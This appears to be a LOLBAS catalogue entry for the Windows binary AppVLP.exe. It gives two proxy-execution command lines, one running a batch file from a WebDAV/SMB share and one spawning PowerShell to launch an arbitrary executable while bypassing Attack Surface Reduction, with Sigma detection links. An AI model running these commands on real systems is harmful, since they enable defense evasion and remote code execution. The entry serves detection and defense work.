LOL · OtherMSBinary

Appvlp.exe

2 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Executes .bat file through AppVLP.exe

Use Execution of BAT file hosted on Webdav server.

AppVLP.exe {PATH_SMB:.bat}

Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml
Refs: github.com/MoooKitty/Code-Execution
twitter.com/moo_hax/status/892388990686347264
enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/

Execution Windows

Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

Use Local execution of process bypassing Attack Surface Reduction (ASR).

AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"

Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml
Refs: github.com/MoooKitty/Code-Execution
twitter.com/moo_hax/status/892388990686347264
enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/